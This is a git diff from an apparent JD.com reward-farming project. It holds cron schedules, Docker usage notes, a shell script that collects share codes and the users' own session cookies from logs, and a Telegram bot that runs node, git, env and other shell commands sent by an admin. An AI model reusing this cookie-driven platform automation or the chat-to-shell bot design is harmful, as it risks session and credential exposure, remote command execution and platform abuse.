东东工厂 +36 * * * * node /scripts/jd_jdfactory.js >> /scripts/logs/jd_jdfactory.log 2>&1 +# 十元街 +36 8,18 * * * node /scripts/jd_syj.js >> /scripts/logs/jd_syj.log 2>&1 +# 京东快递签到 +23 1 * * * node /scripts/jd_kd.js >> /scripts/logs/jd_kd.log 2>&1 +# 京东汽车(签到满500赛点可兑换500京豆) +0 0 * * * node /scripts/jd_car.js >> /scripts/logs/jd_car.log 2>&1 +# 领京豆额外奖励(每日可获得3京豆) +33 4 * * * node /scripts/jd_bean_home.js >> /scripts/logs/jd_bean_home.log 2>&1 +# 微信小程序京东赚赚 +10 11 * * * node /scripts/jd_jdzz.js >> /scripts/logs/jd_jdzz.log 2>&1 +# 宠汪汪邀请助力 +10 9-20/2 * * * node /scripts/jd_joy_run.js >> /scripts/logs/jd_joy_run.log 2>&1 +# crazyJoy自动每日任务 +10 7 * * * node /scripts/jd_crazy_joy.js >> /scripts/logs/jd_crazy_joy.log 2>&1 +# 京东汽车旅程赛点兑换金豆 +0 0 * * * node /scripts/jd_car_exchange.js >> /scripts/logs/jd_car_exchange.log 2>&1 +# 导到所有互助码 +47 7 * * * node /scripts/jd_get_share_code.js >> /scripts/logs/jd_get_share_code.log 2>&1 +# 口袋书店 +7 8,12,18 * * * node /scripts/jd_bookshop.js >> /scripts/logs/jd_bookshop.log 2>&1 +# 京喜农场 +0 9,12,18 * * * node /scripts/jd_jxnc.js >> /scripts/logs/jd_jxnc.log 2>&1 +# 签到领现金 +27 */4 * * * node /scripts/jd_cash.js >> /scripts/logs/jd_cash.log 2>&1 +# 京喜app签到 +39 7 * * * node /scripts/jx_sign.js >> /scripts/logs/jx_sign.log 2>&1 +# 京东家庭号(暂不知最佳cron) +# */20 * * * * node /scripts/jd_family.js >> /scripts/logs/jd_family.log 2>&1 +# 闪购盲盒 +27 8 * * * node /scripts/jd_sgmh.js >> /scripts/logs/jd_sgmh.log 2>&1 +# 京东秒秒币 +10 7 * * * node /scripts/jd_ms.js >> /scripts/logs/jd_ms.log 2>&1 +#美丽研究院 +1 7,12,19 * * * node /scripts/jd_beauty.js >> /scripts/logs/jd_beauty.log 2>&1 +#京东保价 +1 0,23 * * * node /scripts/jd_price.js >> /scripts/logs/jd_price.log 2>&1 +#京东极速版签到+赚现金任务 +1 1,6 * * * node /scripts/jd_speed_sign.js >> /scripts/logs/jd_speed_sign.log 2>&1 +# 删除优惠券(默认注释,如需要自己开启,如有误删,已删除的券可以在回收站中还原,慎用) +#20 9 * * 6 node /scripts/jd_delCoupon.js >> /scripts/logs/jd_delCoupon.log 2>&1 +``` +> 定时任务命之后,也就是 `>>` 符号之前加上 `|ts` 可在日志每一行前面显示时间,如下图: +> ![image](https://user-images.githubusercontent.com/6993269/99031839-09e04b00-25b3-11eb-8e47-0b6515a282bb.png) +- 目录文件配置好之后在 `jd_scripts`目录执行。 + `docker-compose up -d` 启动(修改docker-compose.yml后需要使用此命令使更改生效); + `docker-compose logs` 打印日志; + `docker-compose logs -f` 打印日志,-f表示跟随日志; + `docker logs -f jd_scripts` 和上面两条相比可以显示汉字; + `docker-compose pull` 更新镜像;多容器用户推荐使用`docker pull lxk0301/jd_scripts`; + `docker-compose stop` 停止容器; + `docker-compose restart` 重启容器; + `docker-compose down` 停止并删除容器; + +- 你可能会用到的命令 + + `docker exec -it jd_scripts /bin/sh -c ". /scripts/docker/auto_help.sh export > /scripts/logs/auto_help_export.log && node /scripts/xxxx.js |ts >> /scripts/logs/xxxx.log 2>&1"` 手动运行一脚本(有自动助力) + + `docker exec -it jd_scripts /bin/sh -c "node /scripts/xxxx.js |ts >> /scripts/logs/xxxx.log 2>&1"` 手动运行一脚本(无自动助力) + + `docker exec -it jd_scripts /bin/sh -c 'env'` 查看设置的环境变量 + + `docker exec -it jd_scripts /bin/sh -c 'crontab -l'` 查看已生效的crontab_list定时器任务 + + `docker exec -it jd_scripts sh -c "git pull"` 手动更新jd_scripts仓库最新脚本(默认已有每天拉取两次的定时任务,不推荐使用) + + `docker exec -it jd_scripts /bin/sh` 仅进入容器命令 + + `rm -rf logs/*.log` 删除logs文件夹里面所有的日志文件(linux) + + `docker exec -it jd_scripts /bin/sh -c ' ls jd_*.js | grep -v jd_crazy_joy_coin.js |xargs -i node {}'` 执行所有定时任务 + +- 如果是群晖用户,在docker注册表搜`jd_scripts`,双击下载映像。 +不需要`docker-compose.yml`,只需建个logs/目录,调整`jd_scripts.syno.json`里面对应的配置值,然后导入json配置新建容器。 +若要自定义`my_crontab_list.sh`,再建个`my_crontab_list.sh`文件,配置参考`jd_scripts.my_crontab_list.syno.json`。 +![image](../icon/qh1.png) + +![image](../icon/qh2.png) + +![image](../icon/qh3.png) + +### DOCKER专属环境变量 + +| Name | 归属 | 属性 | 说明 | +| :---------------: | :------------: | :----: | ------------------------------------------------------------ | +| `CRZAY_JOY_COIN_ENABLE` | 是否jd_crazy_joy_coin挂机 | 非必须 | `docker-compose.yml`文件下填写`CRZAY_JOY_COIN_ENABLE=Y`表示挂机,`CRZAY_JOY_COIN_ENABLE=N`表不挂机 | +| `DO_NOT_RUN_SCRIPTS` | 不执行的脚本 | 非必须 | 例:`docker-compose.yml`文件里面填写`DO_NOT_RUN_SCRIPTS=jd_family.js&jd_dreamFactory.js&jd_jxnc.js`, 建议填写完整脚本名,不完整的文件名可能导致其他脚本被禁用 | +| `ENABLE_AUTO_HELP` | 单容器多账号自动互助 | 非必须 | 例:`docker-compose.yml`文件里面填写`ENABLE_AUTO_HELP=true` | diff --git a/docker/auto_help.sh b/docker/auto_help.sh new file mode 100644 index 0000000..5c29885 --- /dev/null +++ b/docker/auto_help.sh @@ -0,0 +1,155 @@ +#set -e + +#日志路径 +logDir="/scripts/logs" + +# 处理后的log文件 +logFile=${logDir}/sharecodeCollection.log +if [ -n "$1" ]; then + parameter=${1} +else + echo "没有参数" +fi + +# 收集助力码 +collectSharecode() { + if [ -f ${2} ]; then + echo "${1}:清理 ${preLogFile} 中的旧助力码,收集新助力码" + + #删除预处理旧助力码 + if [ -f "${logFile}" ]; then + sed -i '/'"${1}"'/d' ${logFile} + fi + + #收集日志中的互助码 + codes="$(sed -n '/'${1}'.*/'p ${2} | sed 's/京东账号/京东账号 /g' | sed 's/(/ (/g' | sed 's/】/】 /g' | awk '{print $4,$5,$6,$7}' | sort -gk2 | awk '!a[$2" "$3]++{print}')" + + #获取ck文件夹中的pin值集合 + if [ -f "/usr/local/bin/spnode" ]; then + ptpins="$(awk -F "=" '{print $3}' $COOKIES_LIST | awk -F ";" '{print $1}')" + else + ptpins="$(echo $JD_COOKIE | sed "s/[ &]/\\n/g" | sed "/^$/d" | awk -F "=" '{print $3}' | awk -F ";" '{print $1}')" + fi + + + #遍历pt_pin值 + for item in $ptpins; do + #中文pin解码 + if [ ${#item} > 20 ]; then + item="$(printf $(echo -n "$item" | sed 's/\\/\\\\/g;s/\(%\)\([0-9a-fA-F][0-9a-fA-F]\)/\\x\2/g')"\n")" + fi + #根据pin值匹配第一个code结果输出到文件中 + echo "$codes" | grep -m1 $item >> $logFile + done + else + echo "${1}:${2} 文件不存在,不清理 ${logFile} 中的旧助力码" + fi + +} + +# 导出助力码 +exportSharecode() { + if [ -f ${logFile} ]; then + #账号数 + cookiecount=$(echo ${JD_COOKIE} | grep -o pt_key | grep -c pt_key) + if [ -f /usr/local/bin/spnode ]; then + cookiecount=$(cat "$COOKIES_LIST" | grep -o pt_key | grep -c pt_key) + fi + echo "cookie个数:${cookiecount}" + + # 单个账号助力码 + singleSharecode=$(sed -n '/'${1}'.*/'p ${logFile} | awk '{print $4}' | awk '{T=T"@"$1} END {print T}' | awk '{print substr($1,2)}') + # | awk '{print $2,$4}' | sort -g | uniq + # echo "singleSharecode:${singleSharecode}" + + # 拼接多个账号助力码 + num=1 + while [ ${num} -le ${cookiecount} ]; do + local allSharecode=${allSharecode}"&"${singleSharecode} + num=$(expr $num + 1) + done + + allSharecode=$(echo ${allSharecode} | awk '{print substr($1,2)}') + + # echo "${1}:${allSharecode}" + + #判断合成的助力码长度是否大于账号数,不大于,则可知没有助力码 + if [ ${#allSharecode} -gt ${cookiecount} ]; then + echo "${1}:导出助力码" + echo "${3}=${allSharecode}" + export ${3}=${allSharecode} + else + echo "${1}:没有助力码,不导出" + fi + + else + echo "${1}:${logFile} 不存在,不导出助力码" + fi + +} + +#生成助力码 +autoHelp() { + if [ ${parameter} == "collect" ]; then + + # echo "收集助力码" + collectSharecode ${1} ${2} ${3} + + elif [ ${parameter} == "export" ]; then + + # echo "导出助力码" + exportSharecode ${1} ${2} ${3} + fi +} + +#日志需要为这种格式才能自动提取 +#Mar 07 00:15:10 【京东账号1(xxxxxx)的京喜财富岛好友互助码】3B41B250C4A369EE6DCA6834880C0FE0624BAFD83FC03CA26F8DEC7DB95D658C + +#新增自动助力活动格式 +# autoHelp 关键词 日志路径 变量名 + +############# 短期活动 ############# + + +############# 长期活动 ############# + +#东东农场 +autoHelp "东东农场好友互助码" "${logDir}/jd_fruit.log" "FRUITSHARECODES" + +#东东萌宠 +autoHelp "东东萌宠好友互助码" "${logDir}/jd_pet.log" "PETSHARECODES" + +#种豆得豆 +autoHelp "京东种豆得豆好友互助码" "${logDir}/jd_plantBean.log" "PLANT_BEAN_SHARECODES" + +#京喜工厂 +autoHelp "京喜工厂好友互助码" "${logDir}/jd_dreamFactory.log" "DREAM_FACTORY_SHARE_CODES" + +#东东工厂 +autoHelp "东东工厂好友互助码" "${logDir}/jd_jdfactory.log" "DDFACTORY_SHARECODES" + +#crazyJoy +autoHelp "crazyJoy任务好友互助码" "${logDir}/jd_crazy_joy.log" "JDJOY_SHARECODES" + +#京喜财富岛 +autoHelp "京喜财富岛好友互助码" "${logDir}/jd_cfd.log" "JDCFD_SHARECODES" + +#京喜农场 +autoHelp "京喜农场好友互助码" "${logDir}/jd_jxnc.log" "JXNC_SHARECODES" + +#京东赚赚 +autoHelp "京东赚赚好友互助码" "${logDir}/jd_jdzz.log" "JDZZ_SHARECODES" + +######### 日志打印格式需调整 ######### + +#口袋书店 +autoHelp "口袋书店好友互助码" "${logDir}/jd_bookshop.log" "BOOKSHOP_SHARECODES" + +#领现金 +autoHelp "签到领现金好友互助码" "${logDir}/jd_cash.log" "JD_CASH_SHARECODES" + +#闪购盲盒 +autoHelp "闪购盲盒好友互助码" "${logDir}/jd_sgmh.log" "JDSGMH_SHARECODES" + +#东东健康社区 +autoHelp "东东健康社区好友互助码" "${logDir}/jd_health.log" "JDHEALTH_SHARECODES" diff --git a/docker/bot/jd.png b/docker/bot/jd.png new file mode 100644 index 0000000..c948dad Binary files /dev/null and b/docker/bot/jd.png differ diff --git a/docker/bot/jd_bot b/docker/bot/jd_bot new file mode 100644 index 0000000..9b818f1 --- /dev/null +++ b/docker/bot/jd_bot @@ -0,0 +1,1114 @@ +# -*- coding: utf-8 -*- +# @Author : iouAkira(lof) +# @mail : e.akimoto.akira@gmail.com +# @CreateTime: 2020-11-02 +# @UpdateTime: 2021-03-23 + +import math +import os +import subprocess +from subprocess import TimeoutExpired +from MyQR import myqr +import requests +import time +import logging +import re +from urllib.parse import quote, unquote + +import telegram.utils.helpers as helpers +from telegram import InlineKeyboardButton, InlineKeyboardMarkup, ParseMode +from telegram.ext import Updater, CommandHandler, MessageHandler, Filters, CallbackQueryHandler + +# 启用日志 +logging.basicConfig(format='%(asctime)s-%(name)s-%(levelname)s=> [%(funcName)s] %(message)s ', level=logging.INFO) +logger = logging.getLogger(__name__) + +_base_dir = '/scripts/' +_logs_dir = '%slogs/' % _base_dir +_docker_dir = '%sdocker/' % _base_dir +_bot_dir = '%sbot/' % _docker_dir +_share_code_conf = '%scode_gen_conf.list' % _logs_dir + +if 'GEN_CODE_CONF' in os.environ: + share_code_conf = os.getenv("GEN_CODE_CONF") + if share_code_conf.startswith("/"): + _share_code_conf = share_code_conf + + +def start(update, context): + from_user_id = update.message.from_user.id + if admin_id == str(from_user_id): + spnode_readme = "" + if "DISABLE_SPNODE" not in os.environ: + spnode_readme = "/spnode 获取可执行脚本的列表,选择对应的按钮执行。(拓展使用:运行指定路径脚本,例:/spnode /scripts/jd_818.js)\n\n" \ + "使用bot交互+spnode后 后续用户的cookie维护更新只需要更新logs/cookies.list即可\n" \ + "使用bot交互+spnode后 后续执行脚本命令请使用spnode否者无法使用logs/cookies.list的cookies执行脚本,定时任务也将自动替换为spnode命令执行\n" \ + "spnode功能概述示例\n\n" \ + "spnode conc /scripts/jd_bean_change.js 为每个cookie单独执行jd_bean_change脚本(伪并发\n" \ + "spnode 1 /scripts/jd_bean_change.js 为logs/cookies.list文件里面第一行cookie账户单独执行jd_bean_change脚本\n" \ + "spnode jd_XXXX /scripts/jd_bean_change.js 为logs/cookies.list文件里面pt_pin=jd_XXXX的cookie账户单独执行jd_bean_change脚本\n" \ + "spnode /scripts/jd_bean_change.js 为logs/cookies.list所有cookies账户一起执行jd_bean_change脚本\n" \ + "请仔细阅读并理解上面的内容,使用bot交互默认开启spnode指令功能功能。\n" \ + "如需____停用___请配置环境变量 -DISABLE_SPNODE=True" + context.bot.send_message(chat_id=update.effective_chat.id, + text="限制自己使用的JD Scripts拓展机器人\n" \ + "\n" \ + "/start 开始并获取指令说明\n" \ + "/node 获取可执行脚本的列表,选择对应的按钮执行。(拓展使用:运行指定路径脚本,例:/node /scripts/jd_818.js) \n" \ + "/git 获取可执行git指令列表,选择对应的按钮执行。(拓展使用:运行指定路径脚本,例:/git -C /scripts/ pull)\n" \ + "/logs 获取logs下的日志文件列表,选择对应名字可以下载日志文件\n" \ + "/env 获取系统环境变量列表。(拓展使用:设置系统环境变量,例:/env export JD_DEBUG=true,环境变量只针对当前bot进程生效) \n" \ + "/cmd 执行执行命令。参考:/cmd ls -l 涉及目录文件操作请使用绝对路径,部分shell命令开放使用\n" \ + "/gen_long_code 长期活动互助码提交消息生成\n" \ + "/gen_temp_code 短期临时活动互助码提交消息生成\n" \ + "/gen_daily_code 每天变化互助码活动提交消息生成\n\n%s" % spnode_readme) + else: + update.message.reply_text(text='此为私人使用bot,不能执行您的指令!') + + +def node(update, context): + """关于定时任务中nodejs脚本的相关操作 + """ + if is_admin(update.message.from_user.id): + commands = update.message.text.split() + commands.remove('/node') + if len(commands) > 0: + cmd = 'node %s' % (' '.join(commands)) + try: + + out_bytes = subprocess.check_output( + cmd, shell=True, timeout=3600, stderr=subprocess.STDOUT) + + out_text = out_bytes.decode('utf-8') + + if len(out_text.split()) > 50: + + msg = context.bot.sendMessage(text='```{}```'.format( + helpers.escape_markdown(' ↓↓↓ %s 执行结果超长,请查看log ↓↓↓' % cmd)), chat_id=update.effective_chat.id, + parse_mode=ParseMode.MARKDOWN_V2) + + log_name = '%sbot_%s_%s.log' % ( + _logs_dir, 'node', os.path.splitext(commands[-1])[0]) + + with open(log_name, 'a+') as wf: + wf.write(out_text) + + msg.reply_document( + reply_to_message_id=msg.message_id, quote=True, document=open(log_name, 'rb')) + else: + + context.bot.sendMessage(text='```{}```'.format( + helpers.escape_markdown(' ↓↓↓ %s 执行结果 ↓↓↓ \n\n%s ' % (cmd, out_text))), + chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + + except TimeoutExpired: + + context.bot.sendMessage(text='```{}```'.format(helpers.escape_markdown(' →→→ %s 执行超时 ←←← ' % ( + cmd))), chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + + except: + + context.bot.sendMessage( + text='```{}```'.format(helpers.escape_markdown(' →→→ %s 执行出错,请检查确认命令是否正确 ←←← ' % ( + cmd))), chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + raise + else: + reply_markup = get_reply_markup_btn('node') + update.message.reply_text(text='```{}```'.format(helpers.escape_markdown(' ↓↓↓ 请选择想要执行的nodejs脚本 ↓↓↓ ')), + reply_markup=reply_markup, parse_mode=ParseMode.MARKDOWN_V2) + else: + update.message.reply_text(text='此为私人使用bot,不能执行您的指令!') + + +def spnode(update, context): + """关于定时任务中nodejs脚本的相关操作 + """ + if is_admin(update.message.from_user.id): + commands = update.message.text.split() + commands.remove('/spnode') + if len(commands) > 0: + cmd = 'spnode %s' % (' '.join(commands)) + try: + + out_bytes = subprocess.check_output( + cmd, shell=True, timeout=600, stderr=subprocess.STDOUT) + + out_text = out_bytes.decode('utf-8') + + if len(out_text.split()) > 50: + + msg = context.bot.sendMessage(text='```{}```'.format( + helpers.escape_markdown(' ↓↓↓ %s 执行结果超长,请查看log ↓↓↓' % cmd)), chat_id=update.effective_chat.id, + parse_mode=ParseMode.MARKDOWN_V2) + file_name = re.split(r"\W+", cmd) + if 'js' in file_name: + file_name.remove('js') + log_name = '%sbot_%s_%s.log' % (_logs_dir, 'spnode', file_name[-1]) + + with open(log_name, 'a+') as wf: + wf.write(out_text) + + msg.reply_document( + reply_to_message_id=msg.message_id, quote=True, document=open(log_name, 'rb')) + else: + + context.bot.sendMessage(text='```{}```'.format( + helpers.escape_markdown(' ↓↓↓ %s 执行结果 ↓↓↓ \n\n%s ' % (cmd, out_text))), + chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + + except TimeoutExpired: + + context.bot.sendMessage(text='```{}```'.format(helpers.escape_markdown(' →→→ %s 执行超时 ←←← ' % ( + cmd))), chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + + except: + + context.bot.sendMessage( + text='```{}```'.format(helpers.escape_markdown(' →→→ %s 执行出错,请检查确认命令是否正确 ←←← ' % ( + cmd))), chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + raise + else: + reply_markup = get_reply_markup_btn('spnode') + update.message.reply_text(text='```{}```'.format(helpers.escape_markdown(' ↓↓↓ 请选择想要执行的nodejs脚本 ↓↓↓ ')), + reply_markup=reply_markup, parse_mode=ParseMode.MARKDOWN_V2) + else: + update.message.reply_text(text='此为私人使用bot,不能执行您的指令!') + + +def git(update, context): + """关于/scripts仓库的git相关操作 + """ + if is_admin(update.message.from_user.id): + commands = update.message.text.split() + commands.remove('/git') + if len(commands) > 0: + cmd = 'git %s' % (' '.join(commands)) + try: + + out_bytes = subprocess.check_output( + cmd, shell=True, timeout=600, stderr=subprocess.STDOUT) + + out_text = out_bytes.decode('utf-8') + + if len(out_text.split()) > 50: + + msg = context.bot.sendMessage(text='```{}```'.format( + helpers.escape_markdown(' ↓↓↓ %s 执行结果超长,请查看log ↓↓↓' % cmd)), chat_id=update.effective_chat.id, + parse_mode=ParseMode.MARKDOWN_V2) + + log_name = '%sbot_%s_%s.log' % ( + _logs_dir, 'git', os.path.splitext(commands[-1])[0]) + + with open(log_name, 'a+') as wf: + wf.write(out_text) + + msg.reply_document( + reply_to_message_id=msg.message_id, quote=True, document=open(log_name, 'rb')) + else: + + context.bot.sendMessage(text='```{}```'.format( + helpers.escape_markdown(' ↓↓↓ %s 执行结果 ↓↓↓ \n\n%s ' % (cmd, out_text))), + chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + + except TimeoutExpired: + + context.bot.sendMessage(text='```{}```'.format(helpers.escape_markdown(' →→→ %s 执行超时 ←←← ' % ( + cmd))), chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + + except: + + context.bot.sendMessage( + text='```{}```'.format(helpers.escape_markdown(' →→→ %s 执行出错,请检查确认命令是否正确 ←←← ' % ( + cmd))), chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + raise + + else: + reply_markup = get_reply_markup_btn('git') + + update.message.reply_text(text='```{}```'.format(helpers.escape_markdown(' ↓↓↓ 请选择想要执行的git指令 ↓↓↓ ')), + reply_markup=reply_markup, parse_mode=ParseMode.MARKDOWN_V2) + else: + update.message.reply_text(text='此为私人使用bot,不能执行您的指令!') + + +def env(update, context): + """env 环境变量相关操作 + """ + if is_admin(update.message.from_user.id): + commands = update.message.text.split() + commands.remove('/env') + if len(commands) == 2 and (commands[0]) == 'export': + + try: + envs = commands[1].split('=') + os.putenv(envs[0], envs[1]) + + context.bot.sendMessage(text='```{}```'.format( + helpers.escape_markdown(' ↓↓↓ 环境变量设置成功 ↓↓↓ \n\n%s ' % ('='.join(envs)))), + chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + except: + context.bot.sendMessage( + text='```{}```'.format(helpers.escape_markdown(' →→→ %s 执行出错,请检查确认命令是否正确 ←←← ' % ( + ' '.join(commands)))), chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + raise + + elif len(commands) == 0: + out_bytes = subprocess.check_output( + 'env', shell=True, timeout=600, stderr=subprocess.STDOUT) + + out_text = out_bytes.decode('utf-8') + + if len(out_text.split()) > 50: + + msg = context.bot.sendMessage(text='```{}```'.format( + helpers.escape_markdown(' ↓↓↓ %s 执行结果超长,请查看log ↓↓↓' % 'env')), chat_id=update.effective_chat.id, + parse_mode=ParseMode.MARKDOWN_V2) + + log_name = '%sbot_%s.log' % (_logs_dir, 'env') + + with open(log_name, 'a+') as wf: + wf.write(out_text + '\n\n') + + msg.reply_document( + reply_to_message_id=msg.message_id, quote=True, document=open(log_name, 'rb')) + else: + + context.bot.sendMessage(text='```{}```'.format( + helpers.escape_markdown(' ↓↓↓ env 执行结果 ↓↓↓ \n\n%s ' % out_text)), + chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + else: + context.bot.sendMessage(text='```{}```'.format( + helpers.escape_markdown(' →→→ env 指令不正确,请参考说明输入 ←←← ')), chat_id=update.effective_chat.id, + parse_mode=ParseMode.MARKDOWN_V2) + + else: + update.message.reply_text(text='此为私人使用bot,不能执行您的指令!') + + +def crontab(update, context): + """关于crontab 定时任务相关操作 + """ + reply_markup = get_reply_markup_btn('crontab_l') + + if is_admin(update.message.from_user.id): + try: + update.message.reply_text(text='```{}```'.format(helpers.escape_markdown(' ↓↓↓ 下面为定时任务列表,请选择需要的操作 ↓↓↓ ')), + reply_markup=reply_markup, parse_mode=ParseMode.MARKDOWN_V2) + except: + raise + else: + update.message.reply_text(text='此为私人使用bot,不能执行您的指令!') + + +def logs(update, context): + """关于_logs_dir目录日志文件的相关操作 + """ + reply_markup = get_reply_markup_btn('logs') + + if is_admin(update.message.from_user.id): + update.message.reply_text(text='```{}```'.format(helpers.escape_markdown(' ↓↓↓ 请选择想想要下载的日志文件或者清除所有日志 ↓↓↓ ')), + reply_markup=reply_markup, parse_mode=ParseMode.MARKDOWN_V2) + else: + update.message.reply_text(text='此为私人使用bot,不能执行您的指令!') + + +def callback_run(update, context): + """执行按钮响应回调方法处理按钮点击事件 + """ + query = update.callback_query + select_btn_type = query.data.split()[0] + chat = query.message.chat + logger.info("callback query.message.chat ==> %s " % chat) + logger.info("callback query.data ==> %s " % query.data) + if select_btn_type == 'node' or select_btn_type == 'spnode' or select_btn_type == 'git': + try: + context.bot.edit_message_text(text='```{}```'.format(' ↓↓↓ 任务正在执行 ↓↓↓ \n\n%s' % query.data), + chat_id=query.message.chat_id, + message_id=query.message.message_id, parse_mode=ParseMode.MARKDOWN_V2) + out_bytes = subprocess.check_output( + query.data, shell=True, timeout=600, stderr=subprocess.STDOUT) + out_text = out_bytes.decode('utf-8') + if len(out_text.split()) > 50: + context.bot.edit_message_text(text='```{}```'.format(' ↓↓↓ %s 执行结果超长,请查看log ↓↓↓' % query.data), + chat_id=query.message.chat_id, + message_id=query.message.message_id, parse_mode=ParseMode.MARKDOWN_V2) + log_name = '%sbot_%s_%s.log' % ( + _logs_dir, select_btn_type, os.path.splitext(query.data.split('/')[-1])[0]) + logger.info('log_name==>' + log_name) + + with open(log_name, 'a+') as wf: + wf.write(out_text) + + query.message.reply_document( + reply_to_message_id=query.message.message_id, quote=True, document=open(log_name, 'rb')) + + else: + context.bot.edit_message_text(text='```{}```'.format( + helpers.escape_markdown(' ↓↓↓ %s 执行结果 ↓↓↓ \n\n%s ' % (query.data, out_text))), + chat_id=update.effective_chat.id, message_id=query.message.message_id, + parse_mode=ParseMode.MARKDOWN_V2) + except TimeoutExpired: + logger.error(' →→→ %s 执行超时 ←←← ' % query.data) + context.bot.edit_message_text(text='```{}```'.format(' →→→ %s 执行超时 ←←← ' % query.data), + chat_id=query.message.chat_id, + message_id=query.message.message_id, parse_mode=ParseMode.MARKDOWN_V2) + except: + context.bot.edit_message_text(text='```{}```'.format(' →→→ %s 执行出错 ←←← ' % query.data), + chat_id=query.message.chat_id, + message_id=query.message.message_id, parse_mode=ParseMode.MARKDOWN_V2) + raise + elif select_btn_type.startswith('cl'): + if select_btn_type == 'cl': + logger.info(f'crontab_l ==> {query.data.split()[1:]}') + reply_markup = InlineKeyboardMarkup([ + [InlineKeyboardButton( + ' '.join(query.data.split()[1:]), callback_data='pass')], + [InlineKeyboardButton('⚡️执行', callback_data='cle %s' % ' '.join(query.data.split()[1:])), + InlineKeyboardButton('❌删除', callback_data='cld %s' % ' '.join(query.data.split()[1:]))] + ]) + context.bot.edit_message_text(text='```{}```'.format(' ↓↓↓ 请选择对该定时任务的操作 ↓↓↓ '), + chat_id=query.message.chat_id, + reply_markup=reply_markup, message_id=query.message.message_id, + parse_mode=ParseMode.MARKDOWN_V2) + elif select_btn_type == 'cle': + cmd = ' '.join(query.data.split()[6:]) + try: + context.bot.edit_message_text(text='```{}```'.format(' ↓↓↓ 任务正在执行 ↓↓↓ \n\n%s' % cmd), + chat_id=query.message.chat_id, + message_id=query.message.message_id, parse_mode=ParseMode.MARKDOWN_V2) + out_bytes = subprocess.check_output(cmd, shell=True, timeout=600, + stderr=subprocess.STDOUT) + out_text = out_bytes.decode('utf-8') + if len(out_text.split()) > 50: + + context.bot.edit_message_text(text='```{}```'.format( + helpers.escape_markdown(' ↓↓↓ %s 执行结果超长,请查看log ↓↓↓' % cmd)), + chat_id=update.effective_chat.id, message_id=query.message.message_id, + parse_mode=ParseMode.MARKDOWN_V2) + + log_name = '%sbot_%s_%s.log' % ( + _logs_dir, select_btn_type, os.path.splitext(cmd.split('/')[-1])[0]) + + with open(log_name, 'a+') as wf: + wf.write(out_text) + + query.message.reply_document( + reply_to_message_id=query.message.message_id, quote=True, document=open(log_name, 'rb')) + + else: + context.bot.edit_message_text(text='```{}```'.format( + helpers.escape_markdown(' ↓↓↓ %s 执行结果 ↓↓↓ \n\n%s ' % (cmd, out_text))), + chat_id=update.effective_chat.id, message_id=query.message.message_id, + parse_mode=ParseMode.MARKDOWN_V2) + except TimeoutExpired: + logger.error(' →→→ %s 执行超时 ←←← ' % ' '.join(cmd[6:])) + context.bot.edit_message_text(text='```{}```'.format(' →→→ %s 执行超时 ←←← ' % cmd), + chat_id=query.message.chat_id, + message_id=query.message.message_id, parse_mode=ParseMode.MARKDOWN_V2) + except: + context.bot.edit_message_text(text='```{}```'.format(' →→→ %s 执行出错 ←←← ' % cmd), + chat_id=query.message.chat_id, + message_id=query.message.message_id, parse_mode=ParseMode.MARKDOWN_V2) + raise + elif select_btn_type == 'cld': + query.answer(text='删除任务功能暂未实现', show_alert=True) + + elif select_btn_type == 'logs': + log_file = query.data.split()[-1] + if log_file == 'clear': + cmd = 'rm -rf %s*.log' % _logs_dir + try: + subprocess.check_output( + cmd, shell=True, timeout=600, stderr=subprocess.STDOUT) + + context.bot.edit_message_text(text='```{}```'.format(' →→→ 日志文件已清除 ←←← '), + chat_id=query.message.chat_id, + message_id=query.message.message_id, parse_mode=ParseMode.MARKDOWN_V2) + except: + context.bot.sendMessage(text='```{}```'.format(helpers.escape_markdown( + ' →→→ 清除日志执行出错 ←←← ')), chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + raise + else: + context.bot.edit_message_text(text='```{}```'.format(' ↓↓↓ 下面为下载的%s文件 ↓↓↓ ' % select_btn_type), + chat_id=query.message.chat_id, + message_id=query.message.message_id, parse_mode=ParseMode.MARKDOWN_V2) + + query.message.reply_document(reply_to_message_id=query.message.message_id, quote=True, + document=open(log_file, 'rb')) + + else: + context.bot.edit_message_text(text='```{}```'.format(' →→→ 操作已取消 ←←← '), chat_id=query.message.chat_id, + message_id=query.message.message_id, parse_mode=ParseMode.MARKDOWN_V2) + + +def get_reply_markup_btn(cmd_type): + """因为编辑后也可能会需要到重新读取按钮,所以抽出来作为一个方法返回按钮list + + Returns + ------- + 返回一个对应命令类型按钮列表,方便读取 + """ + if cmd_type == 'logs': + keyboard_line = [] + logs_list = get_dir_file_list(_logs_dir, 'log') + if (len(logs_list)) > 0: + file_list = list(set(get_dir_file_list(_logs_dir, 'log'))) + file_list.sort() + for i in range(math.ceil(len(file_list) / 2)): + ret = file_list[0:2] + keyboard_column = [] + for ii in ret: + keyboard_column.append(InlineKeyboardButton( + ii.split('/')[-1], callback_data='logs %s' % ii)) + file_list.remove(ii) + keyboard_line.append(keyboard_column) + + keyboard_line.append([InlineKeyboardButton('清除日志', callback_data='logs clear'), + InlineKeyboardButton('取消操作', callback_data='cancel')]) + else: + keyboard_line.append([InlineKeyboardButton( + '未找到相关日志文件', callback_data='cancel')]) + reply_markup = InlineKeyboardMarkup(keyboard_line) + elif cmd_type == 'crontab_l': + button_list = list(set(get_crontab_list(cmd_type))) + keyboard_line = [] + if len(button_list) > 0: + for i in button_list: + keyboard_column = [InlineKeyboardButton( + i, callback_data='cl %s' % i)] + + button_list.remove(i) + keyboard_line.append(keyboard_column) + keyboard_line.append( + [InlineKeyboardButton('取消操作', callback_data='cancel')]) + else: + keyboard_line.append([InlineKeyboardButton( + '未从%s获取到任务列表' % crontab_list_file, callback_data='cancel')]) + reply_markup = InlineKeyboardMarkup(keyboard_line) + elif cmd_type == 'node' or cmd_type == 'spnode': + button_list = list(set(get_crontab_list(cmd_type))) + button_list.sort() + 